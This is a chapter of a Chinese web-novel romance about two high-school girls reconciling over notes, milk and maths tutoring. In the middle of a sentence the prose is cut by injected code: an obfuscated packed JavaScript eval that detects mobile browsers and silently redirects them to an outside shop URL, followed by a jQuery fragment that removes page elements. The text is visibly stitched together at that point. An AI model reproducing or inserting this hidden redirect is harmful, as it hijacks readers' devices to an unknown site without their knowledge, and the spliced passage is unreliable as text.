第三天早上，宁杳到教室的时候，抽屉里有一瓶牛奶。
她的心跳猛地撞了一下胸口。手指伸出去碰了一下瓶身——温的，跟她记忆里每一天的温度一样。她把牛奶瓶拿起来，瓶身底下压着一张纸条。她的手指在发抖，抖得差点没把纸条展开。
纸条上只写了一行字，但不是右楠穗的字。
那行字工工整整，一笔一划都规规矩矩，像小学生写作业。上面写着：有人托我放三天。今天第三天。
宁杳握着纸条站在原地，脑子空白了两秒钟。然后她猛地转身，冲出教室门。同桌在后面喊了一声"宁杳你去哪"，她没有回头。走廊上已经有早到的同学在扫地，她侧着身子从拖把和扫帚之间挤过去，步子快得像在跑。
她跑到走廊尽头，往楼梯口看了一眼。
那里站着一个人。校服外套松垮垮地搭在肩上，书包单肩背着，手插在裤兜里，正在下楼梯。她只看到一个侧影和半个后脑勺，但那道侧影她闭着眼睛都能描出来。
"右楠穗——"
她的声音在空荡荡的楼梯间里弹了一下，又一下，像石子扔进水里激起的涟漪一圈一圈荡开。
那个人停住了。
她站在楼梯拐角，右手扶着栏杆，一条腿已经踩到下一级台阶上。她就那么停在那儿，没有回头。楼梯间的声控灯亮着，白惨惨的光把她整个人的轮廓照得清清楚楚。
宁杳站在楼梯口，手里攥着那张纸条，呼吸还没喘匀。
"笔记，"她说，声音在发抖，但每个字都很清楚，"你看完了吗？"
右楠穗没有动。她背对着宁杳，肩膀微微绷着，校服外套从她肩上滑下去一点，被她用胳膊肘又顶回去了。
"……看完了。"
"你骗人。"宁杳的喉咙发紧，声音干得像砂纸。"你根本没拿走。我后来去你座位看过，你桌上没有我的笔记本。"
右楠穗没有说话。
楼梯间安静了几秒。声控灯灭了又亮了，大概是楼下有人走动重新触发了感应。光亮起的那一瞬间，宁杳看见右楠穗握着栏杆的手收紧了一下，指关节泛白。
"右楠穗。"宁杳往前走了两步，站在楼梯最上面一级，俯视着拐角处那个不肯回头的人。"你转过来。"
右楠穗的肩膀微微动了一下。她慢慢转过身来，动作很慢，像是每一步都在跟自己打架。她转过身的时候头是低着的，刘海垂下来遮住了大半张脸，只露出下巴尖。
然后她抬起了头。
宁杳看见她的眼眶是红的。眼尾那一圈泛着淡淡的粉，鼻尖也有一点红，像是忍了很久的什么东西快要兜不住了。她的嘴唇抿成一条线，抿得很用力，嘴角甚至有一点微微的下撇——她在拼命压。
宁杳愣住了。
她见过右楠穗很多种样子。翻墙时随随便便的样子、跑三千米时咬牙的样子、拿蛋糕进来时喘着气的样子、坐在食堂对面笑着说"顺手"的样子。但她没有见过右楠穗这个样子。
眼睛红着，下巴绷着，像是被什么砸中了一样。但她看着宁杳的目光还是亮着的，浅棕色的瞳仁里有楼梯间白惨惨的灯光，也有宁杳的影子。
"你说得对，"右楠穗开口了，声音比平时低，像含着一口沙子，"我没看。"
"那你在躲什么？"
右楠穗把头偏开了。她的目光落在楼梯墙壁上一块剥落的墙皮上，盯着那片灰白色的缺口看了好几秒。
"班主任说，"她的嗓音有点涩，"我再不把成绩提上去，本科线都过不了。"
"我知道。"宁杳说。她的声音忽然变得很稳，稳到连她自己都意外。"所以你躲我干什么？我又不是班主任。"
右楠穗的目光从墙皮上收回来，落在宁杳脸上。她看着宁杳站在楼梯最上面一级，校服穿得整整齐齐，头发扎得一丝不乱，手里攥着那张纸条，攥得皱巴巴的。她的脸有一点红，不知道是跑的还是气的，但她的眼睛很亮很亮，亮到让右楠穗觉得这个楼梯间的灯突然变得刺眼了。
"我怕你给我补课，"右楠穗说，"我就更写不进去了。"
"为什么？"
右楠穗没有马上回答。她低下头看着自己脚上的白色运动鞋，鞋带系得松松垮垮的，左边的鞋带快要散了。
"因为你在旁边的时候，"她说，声音比刚才更小，"我注意力都在你身上。"
宁杳握着栏杆的手指猛地收紧了。楼梯间又安静了几秒，声控灯灭了，黑暗从四面八方合拢过来，把两个人裹在同一片阴影里。黑暗中宁杳听见了自己的心跳，重重地撞在胸腔里，也听见了右楠穗的呼吸，比平时粗重一点。
灯又亮了。
宁杳从楼梯上面走下来，走到右楠穗站的那一级台阶上。两个人之间的距离忽然变得很近，近到宁杳能看见右楠穗睫毛上沾着一颗很小很小的水珠，在灯光下闪了一下。
"那你现在看着我，"宁杳说，声音轻轻的，像在试探什么易碎的东西，"能写进去吗？"
右楠穗看着她，眼眶还是红的，但嘴角慢慢动了一下，像冰面上裂开的第一条缝。
"更写不进去了。"
宁杳忽然笑了。她笑的声音很轻，像玻璃珠子落在软垫子上，闷闷的，但确实在笑。她笑着低下头，从校服口袋里摸出一张叠好的纸，展开，递给右楠穗。
是一张手写的数学专题提纲。三页纸，她昨晚在宿舍打着手电筒写的，怕吵醒室友所以缩在被子里就着一盏小台灯的光，一个字一个字抄写、整理、标注重点。
"我把重点题型的解法重新写了一遍，字号放大了一号，"宁杳说，"这样你看的时候不用凑太近。每道题旁边空了一行留给你写自己的过程。你要是写对了就打个勾，写错了就——就画个叉，然后来问我。"
她顿了一下，补充道："问我，不是问别人。我知道这个题的所有解法。你问我就行。"
右楠穗低头看着那三页纸。宁杳的字迹工整得近乎刻板，每个数字都站得端端正正，像一排整装待发的小兵。但她注意到每道题旁边的空白处画了一朵很小的花，铅笔画的，跟右楠穗草稿纸上画的那种一模一样。
她学她的。
右楠穗把三页纸接过来，对折好，放进书包夹层里。她做这个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17716601|208532||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
动作的时候手很稳，稳稳地放进去，拉链拉好。
"你把那只猫撕掉了。"宁杳忽然说。
右楠穗的手顿了一下。
"……我以为要专心学习的话，先把分心的东西拿掉。"她的声音有点闷，"但它被撕下来的第二天我就后悔了。所以我把贴纸粘在笔记本封面上带回家了。就在你写的'数学'两个字旁边。"
宁杳看着她，眼睛里那层水光又浮上来一点，她眨了眨，把它逼回去了。
"那你明天——"宁杳停了一下，斟酌了一下措辞，"还放吗？"
右楠穗看着她，忽然笑了一下。那个笑跟之前都不一样——眼角还红着，但笑从嘴角开始往两边蔓延，右边酒窝深下去，左边的还没完全出来。
"你猜。"
然后她转身，继续下楼了。这回她的步子跟以前一样了——散漫的，每一步间隔均匀，像是踩着节拍。走到拐角的时候她没有回头，只是把手从裤兜里抽出来，往后摆了摆。
宁杳站在楼梯上，看着她背影慢慢变小，变小，最后在拐角消失。声控灯在她身后灭了，宁杳站在黑暗里，把那张被她攥皱了的纸条展开抚平，叠好，放进口袋。
她转身往教室走，走了两步又停下来。她低头看了看自己的手——刚才递出去那三页纸的时候，右楠穗的手指碰到了她的指尖。只碰了一下，很快就缩回去了，但那个触感还留在她的指腹上，凉凉的，像十一月的风。
宁杳把那只手举起来看了看，然后轻轻握成了拳，像是要把那个触碰攥在手心里不放。
那天晚上晚自习，右楠穗坐在自己座位上写数学题。她面前摊着宁杳写的那三页提纲，左手按着纸页，右手捏着笔，在空白处一行一行地写过程。
写到第三题的时候她停住了。那道题的解法她卡在中间一步，想了两分钟没想出来。她抬起头往前排看了一眼。
宁杳正低头写作业，侧脸被日光灯照得白净柔和。她似乎感应到了什么，忽然微微偏了偏头，目光往后扫了一下。
两个人的视线在半空中碰了一下。
宁杳没说话。她只是抬了一下下巴，意思很明确——哪里不会？我教你。
右楠穗低下头，用笔尖戳了戳第三题旁边那个空行，然后抬头又看了她一眼。
宁杳看见了。她低下头继续写作业，嘴角弯了一下。她没走过去，没说话，但她在草稿纸的边缘撕下一小条，写了一行字，趁老师转身板书的功夫，飞快地走到后排，放在右楠穗桌角上。
纸条上写着：第三题，换元之后分母不要急着展开，先看看能不能约分。明天我跟你讲。
右楠穗看着那行字，把纸条夹进那三页纸里。她低头重新看了一遍第三题，按照宁杳说的思路重新试了一遍，果然做出来了。
她把最后一步写完，放下笔，靠在椅背上。窗外有风吹进来，把她的刘海吹乱了一点。她伸手把头发别到耳后，目光落在桌角那瓶喝了一半的牛奶上。
明天她还会放。她已经决定了。
而前排那个低着头写作业的背影，耳朵尖上有一点点红，像是知道她在看。